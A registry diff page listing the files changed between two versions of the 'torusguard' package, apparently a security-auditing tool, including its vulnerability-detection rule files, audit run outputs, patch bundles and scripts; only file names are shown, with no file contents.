torusguard 1.3.0 → 1.3.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (377) hide show
  1. package/.torusguard/.manifest.json +112 -8
  2. package/.torusguard/rules/README.md +93 -62
  3. package/.torusguard/rules/TG-AUTH-001-weak-password-storage.md +103 -0
  4. package/.torusguard/rules/TG-AUTH-002-client-only-authorization.md +85 -0
  5. package/.torusguard/rules/TG-AUTH-003-missing-object-authorization.md +85 -0
  6. package/.torusguard/rules/TG-AUTH-004-insecure-session-cookie.md +96 -0
  7. package/.torusguard/rules/TG-AUTH-005-unsafe-password-reset.md +104 -0
  8. package/.torusguard/rules/TG-CLIENT-001-public-production-source-maps.md +102 -0
  9. package/.torusguard/rules/TG-CLIENT-002-sensitive-client-bundle-content.md +102 -0
  10. package/.torusguard/rules/TG-DB-001-frontend-database-query.md +83 -0
  11. package/.torusguard/rules/TG-DB-002-privileged-database-credential.md +86 -0
  12. package/.torusguard/rules/TG-DB-003-frontend-admin-sdk.md +91 -0
  13. package/.torusguard/rules/TG-DB-004-missing-tenant-query-isolation.md +103 -0
  14. package/.torusguard/rules/TG-INPUT-001-missing-server-validation.md +98 -0
  15. package/.torusguard/rules/TG-INPUT-002-raw-sql-concatenation.md +94 -0
  16. package/.torusguard/rules/TG-INPUT-003-unsafe-html-or-code-execution.md +102 -0
  17. package/.torusguard/rules/TG-INPUT-004-unrestricted-file-upload.md +92 -0
  18. package/.torusguard/rules/TG-INPUT-005-unsafe-template-rendering-and-escaping.md +102 -0
  19. package/.torusguard/rules/TG-INPUT-006-unsafe-file-path-traversal.md +131 -0
  20. package/.torusguard/rules/TG-PLATFORM-001-wildcard-cors-with-credentials.md +101 -0
  21. package/.torusguard/rules/TG-PLATFORM-002-missing-security-headers.md +95 -0
  22. package/.torusguard/rules/TG-PLATFORM-003-production-stack-trace-exposure.md +94 -0
  23. package/.torusguard/rules/TG-PLATFORM-004-missing-request-size-limits.md +102 -0
  24. package/.torusguard/rules/TG-RATE-001-unlimited-auth-endpoint.md +112 -0
  25. package/.torusguard/rules/TG-RATE-002-unlimited-public-write-endpoint.md +109 -0
  26. package/.torusguard/rules/TG-RATE-003-unbounded-resource-consumption.md +105 -0
  27. package/.torusguard/rules/TG-SEC-001-hardcoded-secrets.md +83 -0
  28. package/.torusguard/rules/TG-SEC-002-public-environment-secrets.md +83 -0
  29. package/.torusguard/rules/TG-SEC-003-tracked-env-file.md +79 -0
  30. package/.torusguard/rules/TG-SEC-004-sensitive-logging.md +83 -0
  31. package/.torusguard/rules/active/TG-AUTH-001-weak-password-storage.md +103 -0
  32. package/.torusguard/rules/active/TG-AUTH-002-client-only-authorization.md +85 -0
  33. package/.torusguard/rules/active/TG-AUTH-003-missing-object-authorization.md +85 -0
  34. package/.torusguard/rules/active/TG-AUTH-004-insecure-session-cookie.md +96 -0
  35. package/.torusguard/rules/active/TG-AUTH-005-unsafe-password-reset.md +104 -0
  36. package/.torusguard/rules/active/TG-CLIENT-001-public-production-source-maps.md +102 -0
  37. package/.torusguard/rules/active/TG-CLIENT-002-sensitive-client-bundle-content.md +102 -0
  38. package/.torusguard/rules/active/TG-DB-001-frontend-database-query.md +83 -0
  39. package/.torusguard/rules/active/TG-DB-002-privileged-database-credential.md +86 -0
  40. package/.torusguard/rules/active/TG-DB-003-frontend-admin-sdk.md +91 -0
  41. package/.torusguard/rules/active/TG-DB-004-missing-tenant-query-isolation.md +103 -0
  42. package/.torusguard/rules/active/TG-INPUT-001-missing-server-validation.md +98 -0
  43. package/.torusguard/rules/active/TG-INPUT-002-raw-sql-concatenation.md +94 -0
  44. package/.torusguard/rules/active/TG-INPUT-003-unsafe-html-or-code-execution.md +102 -0
  45. package/.torusguard/rules/active/TG-INPUT-004-unrestricted-file-upload.md +92 -0
  46. package/.torusguard/rules/active/TG-INPUT-005-unsafe-template-rendering-and-escaping.md +102 -0
  47. package/.torusguard/rules/active/TG-INPUT-006-unsafe-file-path-traversal.md +131 -0
  48. package/.torusguard/rules/active/TG-PLATFORM-001-wildcard-cors-with-credentials.md +101 -0
  49. package/.torusguard/rules/active/TG-PLATFORM-002-missing-security-headers.md +95 -0
  50. package/.torusguard/rules/active/TG-PLATFORM-003-production-stack-trace-exposure.md +94 -0
  51. package/.torusguard/rules/active/TG-PLATFORM-004-missing-request-size-limits.md +102 -0
  52. package/.torusguard/rules/active/TG-RATE-001-unlimited-auth-endpoint.md +112 -0
  53. package/.torusguard/rules/active/TG-RATE-002-unlimited-public-write-endpoint.md +109 -0
  54. package/.torusguard/rules/active/TG-RATE-003-unbounded-resource-consumption.md +105 -0
  55. package/.torusguard/rules/active/TG-SEC-001-hardcoded-secrets.md +83 -0
  56. package/.torusguard/rules/active/TG-SEC-002-public-environment-secrets.md +83 -0
  57. package/.torusguard/rules/active/TG-SEC-003-tracked-env-file.md +79 -0
  58. package/.torusguard/rules/active/TG-SEC-004-sensitive-logging.md +83 -0
  59. package/.torusguard/rules/agent/TG-AGENT-001-prompt-injection-system-context.md +56 -0
  60. package/.torusguard/rules/agent/TG-AGENT-002-unsafe-tool-dispatch-unsandboxed-execution.md +68 -0
  61. package/.torusguard/rules/agent/TG-AGENT-003-broad-mcp-tool-scoping.md +53 -0
  62. package/.torusguard/rules/agent/TG-AGENT-004-persistent-memory-cross-session-leakage.md +67 -0
  63. package/.torusguard/rules/authorization/TG-AUTH-006-mass-assignment.md +70 -0
  64. package/.torusguard/rules/authorization/TG-AUTH-007-missing-property-level-authorization.md +71 -0
  65. package/.torusguard/rules/authorization/TG-AUTH-008-untrusted-role-header-injection.md +112 -0
  66. package/.torusguard/rules/business-logic/TG-BIZ-001-client-controlled-sensitive-business-value.md +37 -0
  67. package/.torusguard/rules/business-logic/TG-BIZ-002-replayable-one-time-operation.md +37 -0
  68. package/.torusguard/rules/business-logic/TG-BIZ-003-missing-workflow-state-validation.md +37 -0
  69. package/.torusguard/rules/business-logic/TG-BIZ-004-unrestricted-sensitive-business-flow.md +37 -0
  70. package/.torusguard/rules/cache/TG-CACHE-001-sensitive-response-publicly-cacheable.md +37 -0
  71. package/.torusguard/rules/cache/TG-CACHE-002-missing-user-cache-isolation.md +37 -0
  72. package/.torusguard/rules/cache/TG-CACHE-003-sensitive-data-in-url.md +37 -0
  73. package/.torusguard/rules/csrf/TG-CSRF-001-missing-csrf-protection.md +37 -0
  74. package/.torusguard/rules/csrf/TG-CSRF-002-unsafe-credentialed-cross-origin-request.md +37 -0
  75. package/.torusguard/rules/edge/TG-EDGE-001-serverless-global-state-leak.md +83 -0
  76. package/.torusguard/rules/edge/TG-EDGE-003-aws-lambda-ephemeral-cold-start.md +76 -0
  77. package/.torusguard/rules/graphql/TG-GQL-001-missing-query-depth-or-complexity-limits.md +64 -0
  78. package/.torusguard/rules/graphql/TG-GQL-002-resolver-missing-authorization.md +37 -0
  79. package/.torusguard/rules/graphql/TG-GQL-003-unbounded-graphql-pagination-or-batching.md +37 -0
  80. package/.torusguard/rules/graphql/TG-GQL-004-unnecessary-production-introspection.md +37 -0
  81. package/.torusguard/rules/secrets/TG-SEC-005-secret-in-git-history.md +37 -0
  82. package/.torusguard/rules/secrets/TG-SEC-006-secret-in-build-artifact.md +37 -0
  83. package/.torusguard/rules/secrets/TG-SEC-007-secret-in-test-or-example-fixture.md +37 -0
  84. package/.torusguard/rules/ssrf/TG-SSRF-001-user-controlled-server-side-url-fetch.md +68 -0
  85. package/.torusguard/rules/ssrf/TG-SSRF-002-missing-internal-network-protection.md +37 -0
  86. package/.torusguard/rules/ssrf/TG-SSRF-003-unsafe-redirect-following.md +37 -0
  87. package/.torusguard/rules/ssrf/TG-SSRF-004-unbounded-outbound-request.md +37 -0
  88. package/.torusguard/rules/supply-chain/TG-SUPPLY-001-missing-or-ignored-dependency-lockfile.md +37 -0
  89. package/.torusguard/rules/supply-chain/TG-SUPPLY-002-vulnerable-dependency-review-missing.md +94 -0
  90. package/.torusguard/rules/supply-chain/TG-SUPPLY-003-unsafe-ci-cd-secret-exposure.md +37 -0
  91. package/.torusguard/rules/supply-chain/TG-SUPPLY-004-unpinned-ci-action.md +37 -0
  92. package/.torusguard/rules/supply-chain/TG-SUPPLY-005-unsafe-dependency-install-script.md +37 -0
  93. package/.torusguard/rules/supply-chain/TG-SUPPLY-006-container-build-secret-persistence.md +61 -0
  94. package/.torusguard/rules/webhook/TG-WEBHOOK-001-missing-webhook-signature-verification.md +37 -0
  95. package/.torusguard/rules/webhook/TG-WEBHOOK-002-replayable-webhook.md +37 -0
  96. package/.torusguard/rules/webhook/TG-WEBHOOK-003-missing-webhook-idempotency.md +37 -0
  97. package/.torusguard/rules/webhook/TG-WEBHOOK-004-unvalidated-webhook-event-type.md +37 -0
  98. package/.torusguard/rules/websocket/TG-WS-001-unauthenticated-websocket-handshake.md +82 -0
  99. package/.torusguard/rules/websocket/TG-WS-002-missing-channel-level-authorization.md +37 -0
  100. package/.torusguard/rules/websocket/TG-WS-003-unvalidated-websocket-message.md +37 -0
  101. package/.torusguard/rules/websocket/TG-WS-004-unbounded-websocket-connections.md +37 -0
  102. package/.torusguard/runs/report-latest.html +62 -20
  103. package/.torusguard/runs/run-20260908-112648-audit/findings.json +1520 -0
  104. package/.torusguard/runs/run-20260908-112648-audit/findings.md +560 -0
  105. package/.torusguard/runs/run-20260908-112648-audit/manifest.json +12 -0
  106. package/.torusguard/runs/run-20260908-112648-audit/summary.md +5 -0
  107. package/.torusguard/runs/run-20260908-112722-audit/findings.json +1520 -0
  108. package/.torusguard/runs/run-20260908-112722-audit/findings.md +560 -0
  109. package/.torusguard/runs/run-20260908-112722-audit/manifest.json +12 -0
  110. package/.torusguard/runs/run-20260908-112722-audit/summary.md +5 -0
  111. package/.torusguard/runs/run-20260908-113004-audit/findings.json +1520 -0
  112. package/.torusguard/runs/run-20260908-113004-audit/findings.md +560 -0
  113. package/.torusguard/runs/run-20260908-113004-audit/manifest.json +12 -0
  114. package/.torusguard/runs/run-20260908-113004-audit/summary.md +5 -0
  115. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-115-9a059e/metadata.json +15 -0
  116. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-115-9a059e/minimal_patch_plan.md +21 -0
  117. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-115-9a059e/patch.diff +9 -0
  118. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-119-61557c/metadata.json +15 -0
  119. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-119-61557c/minimal_patch_plan.md +21 -0
  120. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-119-61557c/patch.diff +9 -0
  121. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-265-996ca3/metadata.json +15 -0
  122. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-265-996ca3/minimal_patch_plan.md +21 -0
  123. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-265-996ca3/patch.diff +9 -0
  124. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-334-cb819d/metadata.json +15 -0
  125. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-334-cb819d/minimal_patch_plan.md +21 -0
  126. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-334-cb819d/patch.diff +9 -0
  127. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-503-d11cf8/metadata.json +15 -0
  128. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-503-d11cf8/minimal_patch_plan.md +21 -0
  129. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-503-d11cf8/patch.diff +9 -0
  130. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-79-91f41f/metadata.json +15 -0
  131. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-79-91f41f/minimal_patch_plan.md +21 -0
  132. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-db-004-79-91f41f/patch.diff +9 -0
  133. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-002-107-516a40/metadata.json +15 -0
  134. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-002-107-516a40/minimal_patch_plan.md +21 -0
  135. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-002-107-516a40/patch.diff +9 -0
  136. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-002-128-7809a1/metadata.json +15 -0
  137. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-002-128-7809a1/minimal_patch_plan.md +21 -0
  138. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-002-128-7809a1/patch.diff +9 -0
  139. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-002-232-1b45d1/metadata.json +15 -0
  140. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-002-232-1b45d1/minimal_patch_plan.md +21 -0
  141. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-002-232-1b45d1/patch.diff +9 -0
  142. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-003-53-d167b4/metadata.json +15 -0
  143. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-003-53-d167b4/minimal_patch_plan.md +21 -0
  144. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-input-003-53-d167b4/patch.diff +9 -0
  145. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-209-4f6424/metadata.json +15 -0
  146. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-209-4f6424/minimal_patch_plan.md +21 -0
  147. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-209-4f6424/patch.diff +9 -0
  148. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-257-89bf34/metadata.json +15 -0
  149. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-257-89bf34/minimal_patch_plan.md +21 -0
  150. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-257-89bf34/patch.diff +9 -0
  151. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-341-ce228c/metadata.json +15 -0
  152. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-341-ce228c/minimal_patch_plan.md +21 -0
  153. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-341-ce228c/patch.diff +9 -0
  154. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-355-7b190b/metadata.json +15 -0
  155. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-355-7b190b/minimal_patch_plan.md +21 -0
  156. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-355-7b190b/patch.diff +9 -0
  157. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-64-5af31a/metadata.json +15 -0
  158. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-64-5af31a/minimal_patch_plan.md +21 -0
  159. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-64-5af31a/patch.diff +9 -0
  160. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-9-f51467/metadata.json +15 -0
  161. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-9-f51467/minimal_patch_plan.md +21 -0
  162. package/.torusguard/runs/run-20260908-113127-audit/bundles/bnd-tg-sec-001-9-f51467/patch.diff +9 -0
  163. package/.torusguard/runs/run-20260908-113127-audit/findings.json +1520 -0
  164. package/.torusguard/runs/run-20260908-113127-audit/findings.md +560 -0
  165. package/.torusguard/runs/run-20260908-113127-audit/manifest.json +13 -0
  166. package/.torusguard/runs/run-20260908-113127-audit/remediation.md +262 -0
  167. package/.torusguard/runs/run-20260908-113127-audit/summary.md +5 -0
  168. package/.torusguard/runs/run-20260908-115240-audit/apply_plan.md +6 -0
  169. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-115-9a059e/metadata.json +15 -0
  170. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-115-9a059e/minimal_patch_plan.md +21 -0
  171. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-115-9a059e/patch.diff +9 -0
  172. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-119-61557c/metadata.json +15 -0
  173. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-119-61557c/minimal_patch_plan.md +21 -0
  174. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-119-61557c/patch.diff +9 -0
  175. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-265-996ca3/metadata.json +15 -0
  176. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-265-996ca3/minimal_patch_plan.md +21 -0
  177. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-265-996ca3/patch.diff +9 -0
  178. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-334-cb819d/metadata.json +15 -0
  179. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-334-cb819d/minimal_patch_plan.md +21 -0
  180. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-334-cb819d/patch.diff +9 -0
  181. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-503-d11cf8/metadata.json +15 -0
  182. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-503-d11cf8/minimal_patch_plan.md +21 -0
  183. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-503-d11cf8/patch.diff +9 -0
  184. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-79-91f41f/metadata.json +15 -0
  185. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-79-91f41f/minimal_patch_plan.md +21 -0
  186. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-db-004-79-91f41f/patch.diff +9 -0
  187. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-002-107-516a40/metadata.json +15 -0
  188. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-002-107-516a40/minimal_patch_plan.md +21 -0
  189. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-002-107-516a40/patch.diff +9 -0
  190. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-002-128-7809a1/metadata.json +15 -0
  191. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-002-128-7809a1/minimal_patch_plan.md +21 -0
  192. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-002-128-7809a1/patch.diff +9 -0
  193. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-002-232-1b45d1/metadata.json +15 -0
  194. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-002-232-1b45d1/minimal_patch_plan.md +21 -0
  195. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-002-232-1b45d1/patch.diff +9 -0
  196. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-003-53-d167b4/metadata.json +15 -0
  197. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-003-53-d167b4/minimal_patch_plan.md +21 -0
  198. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-input-003-53-d167b4/patch.diff +9 -0
  199. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-platform-001-168-5027cb/metadata.json +15 -0
  200. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-platform-001-168-5027cb/minimal_patch_plan.md +21 -0
  201. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-platform-001-168-5027cb/patch.diff +9 -0
  202. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-209-4f6424/metadata.json +15 -0
  203. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-209-4f6424/minimal_patch_plan.md +21 -0
  204. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-209-4f6424/patch.diff +9 -0
  205. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-257-89bf34/metadata.json +15 -0
  206. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-257-89bf34/minimal_patch_plan.md +21 -0
  207. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-257-89bf34/patch.diff +9 -0
  208. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-341-ce228c/metadata.json +15 -0
  209. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-341-ce228c/minimal_patch_plan.md +21 -0
  210. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-341-ce228c/patch.diff +9 -0
  211. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-355-7b190b/metadata.json +15 -0
  212. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-355-7b190b/minimal_patch_plan.md +21 -0
  213. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-355-7b190b/patch.diff +9 -0
  214. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-64-5af31a/metadata.json +15 -0
  215. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-64-5af31a/minimal_patch_plan.md +21 -0
  216. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-64-5af31a/patch.diff +9 -0
  217. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-9-f51467/metadata.json +15 -0
  218. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-9-f51467/minimal_patch_plan.md +21 -0
  219. package/.torusguard/runs/run-20260908-115240-audit/bundles/bnd-tg-sec-001-9-f51467/patch.diff +9 -0
  220. package/.torusguard/runs/run-20260908-115240-audit/diff_summary.md +221 -0
  221. package/.torusguard/runs/run-20260908-115240-audit/findings.json +1553 -0
  222. package/.torusguard/runs/run-20260908-115240-audit/findings.md +572 -0
  223. package/.torusguard/runs/run-20260908-115240-audit/manifest.json +14 -0
  224. package/.torusguard/runs/run-20260908-115240-audit/recheck.md +91 -0
  225. package/.torusguard/runs/run-20260908-115240-audit/remediation.md +278 -0
  226. package/.torusguard/runs/run-20260908-115240-audit/summary.md +5 -0
  227. package/.torusguard/scripts/__pycache__/audit_runner.cpython-311.pyc +0 -0
  228. package/.torusguard/scripts/__pycache__/finding_scorer.cpython-311.pyc +0 -0
  229. package/.torusguard/scripts/__pycache__/memory_engine.cpython-311.pyc +0 -0
  230. package/.torusguard/scripts/__pycache__/monorepo_detector.cpython-311.pyc +0 -0
  231. package/.torusguard/scripts/__pycache__/run_manager.cpython-311.pyc +0 -0
  232. package/.torusguard/scripts/__pycache__/stack_detect.cpython-311.pyc +0 -0
  233. package/.torusguard/scripts/apply_runner.py +332 -0
  234. package/.torusguard/scripts/audit_runner.py +550 -0
  235. package/.torusguard/scripts/diff_guard.py +52 -4
  236. package/.torusguard/scripts/finding_scorer.py +58 -0
  237. package/.torusguard/scripts/harden_runner.py +353 -0
  238. package/.torusguard/scripts/html_reporter.py +25 -10
  239. package/.torusguard/scripts/manifest_builder.py +2 -0
  240. package/.torusguard/scripts/memory_engine.py +4 -0
  241. package/.torusguard/scripts/recheck_runner.py +221 -0
  242. package/.torusguard/scripts/recipes_runner.py +130 -0
  243. package/.torusguard/scripts/run_manager.py +17 -5
  244. package/.torusguard/skills/torusguard/SKILL.md +42 -42
  245. package/.torusguard/snapshots/run-20260908-115240-audit/examples/vulnerable-react-express/client/src/App.jsx.bak +63 -0
  246. package/.torusguard/snapshots/run-20260908-115240-audit/examples/vulnerable-react-express/server/index.js.bak +82 -0
  247. package/.torusguard/snapshots/run-20260908-115240-audit/harness/engine/fixture_manager.py.bak +245 -0
  248. package/.torusguard/snapshots/run-20260908-115240-audit/harness/master_validation.py.bak +698 -0
  249. package/.torusguard/snapshots/run-20260908-115240-audit/harness/runner.py.bak +551 -0
  250. package/.torusguard/snapshots/run-20260908-115240-audit/harness/validate_e2e.py.bak +498 -0
  251. package/.torusguard/snapshots/run-20260908-115240-audit/harness/validate_qa_v0_6_0.py.bak +572 -0
  252. package/.torusguard/snapshots/run-20260908-115240-audit/harness/validate_v0_6_1_scale.py.bak +371 -0
  253. package/.torusguard/snapshots/run-20260908-115240-audit/harness/validate_v0_6_2_modern_stacks.py.bak +462 -0
  254. package/.torusguard/snapshots/run-20260908-115240-audit/harness/validate_v0_6_3_hardening.py.bak +444 -0
  255. package/.torusguard/snapshots/run-20260908-115240-audit/harness/validate_v1_0_0_memory.py.bak +302 -0
  256. package/.torusguard/snapshots/run-20260908-115240-audit/harness/validate_v1_1_0_advanced_memory.py.bak +342 -0
  257. package/.torusguard/snapshots/run-20260908-115240-audit/skills/torusguard/payload/scripts/harden_runner.py.bak +353 -0
  258. package/.torusguard/snapshots/run-20260908-115240-audit/tests/test_v0_6_0_governed_remediation.py.bak +353 -0
  259. package/README.md +70 -33
  260. package/bin/torusguard.js +89 -19
  261. package/package.json +1 -1
  262. package/skills/torusguard/SKILL.md +42 -42
  263. package/skills/torusguard/bootstrap.py +147 -68
  264. package/skills/torusguard/payload/.manifest.json +113 -9
  265. package/skills/torusguard/payload/rules/README.md +93 -62
  266. package/skills/torusguard/payload/rules/TG-AUTH-001-weak-password-storage.md +103 -0
  267. package/skills/torusguard/payload/rules/TG-AUTH-002-client-only-authorization.md +85 -0
  268. package/skills/torusguard/payload/rules/TG-AUTH-003-missing-object-authorization.md +85 -0
  269. package/skills/torusguard/payload/rules/TG-AUTH-004-insecure-session-cookie.md +96 -0
  270. package/skills/torusguard/payload/rules/TG-AUTH-005-unsafe-password-reset.md +104 -0
  271. package/skills/torusguard/payload/rules/TG-CLIENT-001-public-production-source-maps.md +102 -0
  272. package/skills/torusguard/payload/rules/TG-CLIENT-002-sensitive-client-bundle-content.md +102 -0
  273. package/skills/torusguard/payload/rules/TG-DB-001-frontend-database-query.md +83 -0
  274. package/skills/torusguard/payload/rules/TG-DB-002-privileged-database-credential.md +86 -0
  275. package/skills/torusguard/payload/rules/TG-DB-003-frontend-admin-sdk.md +91 -0
  276. package/skills/torusguard/payload/rules/TG-DB-004-missing-tenant-query-isolation.md +103 -0
  277. package/skills/torusguard/payload/rules/TG-INPUT-001-missing-server-validation.md +98 -0
  278. package/skills/torusguard/payload/rules/TG-INPUT-002-raw-sql-concatenation.md +94 -0
  279. package/skills/torusguard/payload/rules/TG-INPUT-003-unsafe-html-or-code-execution.md +102 -0
  280. package/skills/torusguard/payload/rules/TG-INPUT-004-unrestricted-file-upload.md +92 -0
  281. package/skills/torusguard/payload/rules/TG-INPUT-005-unsafe-template-rendering-and-escaping.md +102 -0
  282. package/skills/torusguard/payload/rules/TG-INPUT-006-unsafe-file-path-traversal.md +131 -0
  283. package/skills/torusguard/payload/rules/TG-PLATFORM-001-wildcard-cors-with-credentials.md +101 -0
  284. package/skills/torusguard/payload/rules/TG-PLATFORM-002-missing-security-headers.md +95 -0
  285. package/skills/torusguard/payload/rules/TG-PLATFORM-003-production-stack-trace-exposure.md +94 -0
  286. package/skills/torusguard/payload/rules/TG-PLATFORM-004-missing-request-size-limits.md +102 -0
  287. package/skills/torusguard/payload/rules/TG-RATE-001-unlimited-auth-endpoint.md +112 -0
  288. package/skills/torusguard/payload/rules/TG-RATE-002-unlimited-public-write-endpoint.md +109 -0
  289. package/skills/torusguard/payload/rules/TG-RATE-003-unbounded-resource-consumption.md +105 -0
  290. package/skills/torusguard/payload/rules/TG-SEC-001-hardcoded-secrets.md +83 -0
  291. package/skills/torusguard/payload/rules/TG-SEC-002-public-environment-secrets.md +83 -0
  292. package/skills/torusguard/payload/rules/TG-SEC-003-tracked-env-file.md +79 -0
  293. package/skills/torusguard/payload/rules/TG-SEC-004-sensitive-logging.md +83 -0
  294. package/skills/torusguard/payload/rules/active/TG-AUTH-001-weak-password-storage.md +103 -0
  295. package/skills/torusguard/payload/rules/active/TG-AUTH-002-client-only-authorization.md +85 -0
  296. package/skills/torusguard/payload/rules/active/TG-AUTH-003-missing-object-authorization.md +85 -0
  297. package/skills/torusguard/payload/rules/active/TG-AUTH-004-insecure-session-cookie.md +96 -0
  298. package/skills/torusguard/payload/rules/active/TG-AUTH-005-unsafe-password-reset.md +104 -0
  299. package/skills/torusguard/payload/rules/active/TG-CLIENT-001-public-production-source-maps.md +102 -0
  300. package/skills/torusguard/payload/rules/active/TG-CLIENT-002-sensitive-client-bundle-content.md +102 -0
  301. package/skills/torusguard/payload/rules/active/TG-DB-001-frontend-database-query.md +83 -0
  302. package/skills/torusguard/payload/rules/active/TG-DB-002-privileged-database-credential.md +86 -0
  303. package/skills/torusguard/payload/rules/active/TG-DB-003-frontend-admin-sdk.md +91 -0
  304. package/skills/torusguard/payload/rules/active/TG-DB-004-missing-tenant-query-isolation.md +103 -0
